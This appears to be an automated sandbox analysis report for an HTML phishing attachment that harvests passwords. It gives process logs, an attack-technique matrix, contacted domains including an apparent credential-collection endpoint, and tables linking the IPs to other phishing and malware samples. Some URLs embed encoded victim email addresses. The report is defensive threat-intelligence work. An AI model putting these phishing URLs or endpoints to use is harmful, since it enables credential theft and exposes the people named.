Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2308,i,1950381011547076389,9899964113874095902,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2336 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html

HTTP Parser: file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	0%	Avira URL Cloud	safe
https://1419993777-1317754460.cos.ap-singapore.myqcloud.com/attach%2Fbootstrap.min.js	0%	Avira URL Cloud	safe
https://ableg.venue.it.com/google.php	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
sgp.file.myqcloud.com	43.152.64.193	true	false	high
beacons3.gvt2.com	142.251.32.99	true	false	high
ableg.venue.it.com	172.64.80.1	true	false	high
e329293.dscd.akamaiedge.net	23.209.72.31	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
beacons2.gvt2.com	142.250.107.94	true	false	high
beacons.gvt2.com	142.250.176.195	true	false	high
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
resc.cloudinary.com.cdn.cloudflare.net	104.17.202.1	true	false	high
gce-beacons.gcp.gvt2.com	35.186.199.248	true	false	high
www.google.com	142.251.40.164	true	false	high
beacons4.gvt2.com	216.239.32.116	true	false	high
res.cloudinary.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
1419993777-1317754460.cos.ap-singapore.myqcloud.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
http://c.pki.goog/r/gsr1.crl	false		high
http://c.pki.goog/r/r4.crl	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://res.cloudinary.com/dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png	false		high
file:///C:/Users/user/Desktop/%23U25baPlay_VM-Now(Lhershey)ATTT0003.html	true	Avira URL Cloud: safe	unknown
https://ableg.venue.it.com/google.php	false	Avira URL Cloud: safe	unknown
https://1419993777-1317754460.cos.ap-singapore.myqcloud.com/attach%2Fbootstrap.min.js	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_69.4.dr, chromecache_63.4.dr	false	high
https://getbootstrap.com)	chromecache_63.4.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_69.4.dr, chromecache_63.4.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_70.4.dr	false	high
https://getbootstrap.com/)	chromecache_69.4.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
43.152.64.193	sgp.file.myqcloud.com	Japan	4249	LILLY-ASUS	false
142.251.40.164	www.google.com	United States	15169	GOOGLEUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.17.202.1	resc.cloudinary.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
172.64.80.1	ableg.venue.it.com	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
23.209.72.31	e329293.dscd.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.13
192.168.2.23
192.168.2.15

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1650484
Start date and time:	2025-03-27 18:49:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	#U25baPlay_VM-Now(Lhershey)ATTT0003.html renamed because original name is a hash value
Original Sample Name:	Play_VM-Now(Lhershey)ATTT0003.html
Detection:	MAL
Classification:	mal80.phis.winHTML@22/24@122/12
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.40.163, 142.250.64.110, 172.253.63.84, 142.250.72.110, 142.250.176.202, 23.203.176.221, 208.89.73.29, 23.9.183.29, 52.149.20.212, 13.107.246.40
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, ocsp.digicert.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.11.207	http://googlle.com	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.1.0/fonts/fontawesome-webfont.woff?v=4.1.0
	https://city-of-goodyear.webnode.page/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap-theme.min.css
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.3.0/fonts/fontawesome-webfont.woff2?v=4.3.0
	http://185.67.82.114	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js
	SecuriteInfo.com.Exploit.Siggen3.17149.4489.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
104.17.202.1	https://eu-central-1.protection.sophos.com/?d=klclick3.com&u=aHR0cHM6Ly9jdHJrLmtsY2xpY2szLmNvbS9sLzAxSlE2TldIMFdaVkdNV0tBODFNQkZGN1JUXzI=&p=m&i=NjcwOGRlNTQxNWVkNDAyNmUyZjA5MzFh&t=VUNaZ1Yza2szQkUxQ2V5U3gwNDYvRXh1ZWpOb1orVWYwMkVMRzFlQmtmMD0=&h=696c0b13c9bb46b2b210e89a34578cd9&s=AVNPUEhUT0NFTkNSWVBUSVbYlGfZU66j8K_UDSuTsyS5h7hisQMzbX-xxgbWnDCCvg	Get hash	malicious	HTMLPhisher	Browse
	TRANS_ADV_9290910137_.svg	Get hash	malicious	HTMLPhisher	Browse
	b10ad005.eml	Get hash	malicious	HTMLPhisher	Browse
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse
	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse
	https://protect2.fireeye.com/v1/url?k=31323334-501d2dca-3114f648-454455534531-f18bcc46852af03b&q=1&e=a5b004d0-9ad2-44a3-a203-9d7fb71ea4db&u=https%3A%2F%2Fhyj48i39.s3.us-east-1.amazonaws.com%2Fdocnwhdheb.html	Get hash	malicious	HTMLPhisher	Browse
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse
	https://avax-sushi.com	Get hash	malicious	Unknown	Browse
43.152.64.193	O6O7O5REot.exe	Get hash	malicious	CobaltStrike	Browse	/Shorts/1index.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sgp.file.myqcloud.com	https://www.google.com/url?q=https%3A%2F%2Foyabarista.com%2Fnoma%2F&sa=D&sntz=1&usg=AOvVaw3YbPsc8spAD07NqeZvY3XM#?889272784Family=ZW1pbmUueWF2dXpAYW1zdGVyZGFtLm5s	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	TRANS_ADV_9290910137_.svg	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	YourToDo.svg	Get hash	malicious	HTMLPhisher	Browse	43.153.232.151
	YourToDo.svg	Get hash	malicious	HTMLPhisher	Browse	43.153.232.152
	https://c2safetyy.unearthed.it.com/BVXGC	Get hash	malicious	HTMLPhisher	Browse	43.152.64.207
	#U25baPlay_VM-Now(John.moorer)ATTT0003.html	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	43.153.232.151
	https://bonsoiree.mareanebulosasao.it.com/IFEXy	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	https://auth.microsites.m-atelier.cz/redir?url=https://telegra.ph/Charlotte-Reeves-03-13	Get hash	malicious	Unknown	Browse	43.153.232.152
stackpath.bootstrapcdn.com	https://share-na2.hsforms.com/1_i78GXFkRBOGWUyrP_Ln9g404p2v	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	Bern DUE INVOICE & SOA.SHTM	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://www.google.com/url?q=https%3A%2F%2Foyabarista.com%2Fnoma%2F&sa=D&sntz=1&usg=AOvVaw3YbPsc8spAD07NqeZvY3XM#?889272784Family=ZW1pbmUueWF2dXpAYW1zdGVyZGFtLm5s	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://www.google.com/url?q=https%3A%2F%2Fxn--h1agphh0ce.xn--p1acf%2Fapi%2Fnew%2F&sa=D&sntz=1&usg=AOvVaw1Clr0BC6_dV_6qVz7xyAN0#?8497507749Family=ZWhlYWx0aEBud2xlaWNlc3RlcnNoaXJlLmdvdi51aw==	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://warehouse.activecollab.com/api/v1/files/2025-03%2F6b41e8c7dd1c7dc31704dbbaafd8a7dddd52f0d014f34950cbb890517c91a5dccd0d76100094b7a8b05eea175fc9cfc52bf8eee6d86ac156fd1231e7e19b8b74.pdf/b70e0e536e6d8288f5b3bd3dd420ca9a/preview?intent=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvbmV4dC1hcHAuYWN0aXZlY29sbGFiLmNvbVwvNDUzMzU1IiwiaWF0IjoxNzQyOTgxNzk0LCJleHAiOjE3NDMwNjgxOTQsImF1ZCI6Imh0dHBzOlwvXC93aC5hY3RpdmVjb2xsYWIuY29tIiwiZW1haWwiOiJhc2FoLnBsYXRvbkB0aGVmbHVlbnQub3JnIiwiaW50ZW50IjoicHJldmlldyIsImFjY291bnRfaWQiOjQ1MzM1NX0._BIncBpKkUSyFs4Yr-j7YjNs751308wRA21MzcsDZlY	Get hash	malicious	Unknown	Browse	104.18.10.207
	Securefadv_DUE_INVOICE_&_SOA.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	phishing.eml	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://www.transfernow.net/en/bld?utm_source=20250326Sb0JUtZm	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://www.google.com/url?hl=en&q=https://cdn.ampproject.org/c/s/javigzyzd5.i%25c2%25Adv%25c2%25aDh%25C2%25Adq%25C2%25ADr%25c2%25ADv%25C2%25adi%25C2%25ADy%25C2%25adj%25C2%25ADn%25c2%25adm%25C2%25ADw%25C2%25ADg%25C2%25aDpd.t%25e2%2580%258Bop%25e2%2580%258B%25E2%2580%258B%25e2%2580%258B%25e2%2580%258B%25e2%2580%258B%25E2%2580%258B/DFAE8vcCa&source=gmail&ust=1743080542263000&usg=AOvVaw0suISYTiKy3FfesfseCCWZ&QdaMDkE=aRuOVhcnVYKH&ZTQfCXiVXYX=otgsMpL&PLWNVDJPNNX=ADewvYpaTSjDFd&RhGsMafBMO=xSGDuEeaSLlwr&NvqjBkgmM=CEaZCfuY&BsBjVdpOyFArX=eNEJFjz&qdoSxkAjT=RnjxPYfue&qNdMkVBua=OodidIpdNA&uBBBqmwGg=UkwVWlZEUepi&HUkFsBRwf=NETrDKaTfUalZg&hHKrWsTgkaT=jtKceaGnmawvPTx&aIjHIQdqXlSI=shSnAxjMMSooTGF&YbdULUlBQ=MnKwOgoRZmKRaS&HJGJudKEkEEFt=https://aXMTaubDmKodG&HApZzBbjT=hLmFKcWAR&dZvcqnXBHDc=ZVcThPuBmUAOTuS&QgWvGksAugGgA=aQrgeXV&QeYQHzCm=MGQSwZZpxMMl&xtemItUS=PARMRaH&PQDMqSMdnua=tXXJVJo&MBZIdQB=TqBlrXe&bfwbMC=EOVyLhg&QDJsHOXMx=nSzKyAHiRjbR	Get hash	malicious	Unknown	Browse	104.18.10.207
	https://eu-central-1.protection.sophos.com/?d=klclick3.com&u=aHR0cHM6Ly9jdHJrLmtsY2xpY2szLmNvbS9sLzAxSlE2TldIMFdaVkdNV0tBODFNQkZGN1JUXzI=&p=m&i=NjcwOGRlNTQxNWVkNDAyNmUyZjA5MzFh&t=VUNaZ1Yza2szQkUxQ2V5U3gwNDYvRXh1ZWpOb1orVWYwMkVMRzFlQmtmMD0=&h=696c0b13c9bb46b2b210e89a34578cd9&s=AVNPUEhUT0NFTkNSWVBUSVbYlGfZU66j8K_UDSuTsyS5h7hisQMzbX-xxgbWnDCCvg	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
s-part-0012.t-0009.t-msedge.net	#Ud83d#Udd0aAudio_Msg Pharma.xhtml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://248d0d7c.b6979dc2a0c182f7ec7a4aa7.workers.dev/?_kx=tT2g7RhPaXrh3A6Bckepfg.WnBBDP	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	http://google.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	13.107.246.40
	https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fredeem%2f%3ftenant%3d089a6470-d3a7-46a4-8852-73c0c698c729%26user%3d1f7621fb-e95b-459f-9e70-2ef3d5935926%26ticket%3dp5hN%25252fl8PpUcQKPkV0TMbs2ptO%25252bRNmG2KxgcRrL%25252bWsgY%25253d%26ver%3d2.0	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://www.canva.com/design/DAGiRhhTm_M/1Wb1338QF_BEv0zYs4WfZQ/view?utm_content=DAGiRhhTm_M&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=h6159cd66cf&umid=b05be093-6f53-49ec-8a3b-87bea166f93e&auth=5175c0148660b71d9cf40f5d2581457ec88fc189-b6bc2ea861a256fc841ad8d60030f2289750b83	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	Quotation_ISH2025.xls	Get hash	malicious	Unknown	Browse	13.107.246.40
	Quotation_ISH2025.xls	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://www.google.com/url?q=https%3A%2F%2Foyabarista.com%2Fnoma%2F&sa=D&sntz=1&usg=AOvVaw3YbPsc8spAD07NqeZvY3XM#?889272784Family=ZW1pbmUueWF2dXpAYW1zdGVyZGFtLm5s	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://www.google.com/url?q=https%3A%2F%2Fxn--h1agphh0ce.xn--p1acf%2Fapi%2Fnew%2F&sa=D&sntz=1&usg=AOvVaw1Clr0BC6_dV_6qVz7xyAN0#?8497507749Family=ZWhlYWx0aEBud2xlaWNlc3RlcnNoaXJlLmdvdi51aw==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://b.yeaio.shop/6d05358b383b5f64f9494d9863daf2ea4cbf96f35212b43.vss	Get hash	malicious	Unknown	Browse	13.107.246.40
beacons3.gvt2.com	MetroHealthNow.com.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	142.250.65.163
	https://www.transfernow.net/dl/20250327nEx48coZ	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	142.251.32.99
	http://smokyjons.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	142.250.176.195
	https://new-session-outlook-com-01262025-veryfing-successfuli.pages.dev/newsession?eta=dorte.moeller.jensen@rsyd.dk	Get hash	malicious	HTMLPhisher	Browse	142.251.40.195
	EFTRemittance_Anina_DTVZBMTIPD_attach.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	142.250.176.195
	https://aoocezieaoocezie.myfreshworks.com/invite/dc31162a-1c0b-4de0-9bee-658f89e887a0	Get hash	malicious	HTMLPhisher	Browse	142.250.65.163
	https://touchmplexs.shop	Get hash	malicious	Captcha Phish	Browse	142.250.65.163
	https://www.octopuspro.life/#/register	Get hash	malicious	Unknown	Browse	142.251.35.163
	https://qrcode.link/a/RkN6l2	Get hash	malicious	Unknown	Browse	142.251.35.163
	https://eqrco.de/a/thFNTJ	Get hash	malicious	Unknown	Browse	142.250.65.227

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Set-up.exe	Get hash	malicious	DarkTortilla, RHADAMANTHYS	Browse	172.64.41.3
	#Ud83d#Udd0aAudio_Msg Pharma.xhtml	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://fairwaymarket.cloud/TWFyay5SdWRlQEhzY3BvbHkuQ29t##	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233
	SOA.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	MetroHealthNow.com.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.191.145
	https://248d0d7c.b6979dc2a0c182f7ec7a4aa7.workers.dev/?_kx=tT2g7RhPaXrh3A6Bckepfg.WnBBDP	Get hash	malicious	HTMLPhisher	Browse	104.21.30.213
	#U015e#U0113t#U0e19p.zip	Get hash	malicious	LummaC Stealer	Browse	104.21.96.1
	http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com	Get hash	malicious	HTMLPhisher	Browse	172.64.149.4
	cbqF2LKJ5jjucHN.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	PO#P18620782.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
CLOUDFLARENETUS	Set-up.exe	Get hash	malicious	DarkTortilla, RHADAMANTHYS	Browse	172.64.41.3
	#Ud83d#Udd0aAudio_Msg Pharma.xhtml	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://fairwaymarket.cloud/TWFyay5SdWRlQEhzY3BvbHkuQ29t##	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233
	SOA.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	MetroHealthNow.com.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.191.145
	https://248d0d7c.b6979dc2a0c182f7ec7a4aa7.workers.dev/?_kx=tT2g7RhPaXrh3A6Bckepfg.WnBBDP	Get hash	malicious	HTMLPhisher	Browse	104.21.30.213
	#U015e#U0113t#U0e19p.zip	Get hash	malicious	LummaC Stealer	Browse	104.21.96.1
	http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com	Get hash	malicious	HTMLPhisher	Browse	172.64.149.4
	cbqF2LKJ5jjucHN.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	PO#P18620782.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
FASTLYUS	#Ud83d#Udd0aAudio_Msg Pharma.xhtml	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://fairwaymarket.cloud/TWFyay5SdWRlQEhzY3BvbHkuQ29t##	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	MetroHealthNow.com.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.108.133
	https://248d0d7c.b6979dc2a0c182f7ec7a4aa7.workers.dev/?_kx=tT2g7RhPaXrh3A6Bckepfg.WnBBDP	Get hash	malicious	HTMLPhisher	Browse	199.232.89.229
	https://www.transfernow.net/dl/20250327nEx48coZ	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	http://url5432.inclusiveguide.com/ls/click?upn=u001.Qh-2BzOqQ65HVxjtnkYhEgqL-2BgbJnQGZNjetn0KUTa8Lg2mAx6Lrd0TPVFFiS-2BqIKlwC0WYgUrgOA1RYq7CU4V8hrNR5dcpTApHRweV-2BJiFcZ6RuQr39TUM0UCil7Dacf4pCiNUa5AE6joYIX8opnM8BWrPTAUo-2BPOPQRr0DjqJaEPLCinGG8HI1nGXLffNoGwISrJdn0eqeqhNklbD8H1dqt4oibBzcYDOt0RSpiZ9HQ-2FblHQCQgqeplCvWbWLgQ0t533w-2BTrWwnD-2B-2FJJ6yU6MA-3D-3D5k5m_-2BfvDFm8rLlMG3DiFVwLpknLlzF6k57p2lxHL4WqtZDphvYTXN2vJNk7tCZhMDgWoW4dk3kvtddA6Vni5UTMWjVEpA1hWQSWy8v-2BRgt3FMHqgdN2IgrLc85UWpQZEXsRzH-2FYdsYncyc5x3IkIy48M2wF5Tc5BVt471BbCid5SclMj3e5DJczUtAu2-2Bq73Qnic8zuZQoexkbW7rFt1nbLNQA-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.109.133
	http://url5432.inclusiveguide.com/ls/click?upn=u001.Qh-2BzOqQ65HVxjtnkYhEgqL-2BgbJnQGZNjetn0KUTa8Lg2mAx6Lrd0TPVFFiS-2BqIKlwC0WYgUrgOA1RYq7CU4V8hrNR5dcpTApHRweV-2BJiFcZ6RuQr39TUM0UCil7Dacf4pCiNUa5AE6joYIX8opnM8BWrPTAUo-2BPOPQRr0DjqJaEPLCinGG8HI1nGXLffNoGwISrJdn0eqeqhNklbD8H1dqt4oibBzcYDOt0RSpiZ9HQ-2FblHQCQgqeplCvWbWLgQ0t533w-2BTrWwnD-2B-2FJJ6yU6MA-3D-3D5k5m_-2BfvDFm8rLlMG3DiFVwLpknLlzF6k57p2lxHL4WqtZDphvYTXN2vJNk7tCZhMDgWoW4dk3kvtddA6Vni5UTMWjVEpA1hWQSWy8v-2BRgt3FMHqgdN2IgrLc85UWpQZEXsRzH-2FYdsYncyc5x3IkIy48M2wF5Tc5BVt471BbCid5SclMj3e5DJczUtAu2-2Bq73Qnic8zuZQoexkbW7rFt1nbLNQA-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	http://google.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	199.232.90.40
	http://smokyjons.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	199.232.90.40
	https://hhx.eqydm.es/QViDx/?event=signature_request_signed&signature_id=96d2d1a0bd705e7ec0f2952e3ad12f4a	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
CLOUDFLARENETUS	Set-up.exe	Get hash	malicious	DarkTortilla, RHADAMANTHYS	Browse	172.64.41.3
	#Ud83d#Udd0aAudio_Msg Pharma.xhtml	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	https://fairwaymarket.cloud/TWFyay5SdWRlQEhzY3BvbHkuQ29t##	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233
	SOA.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
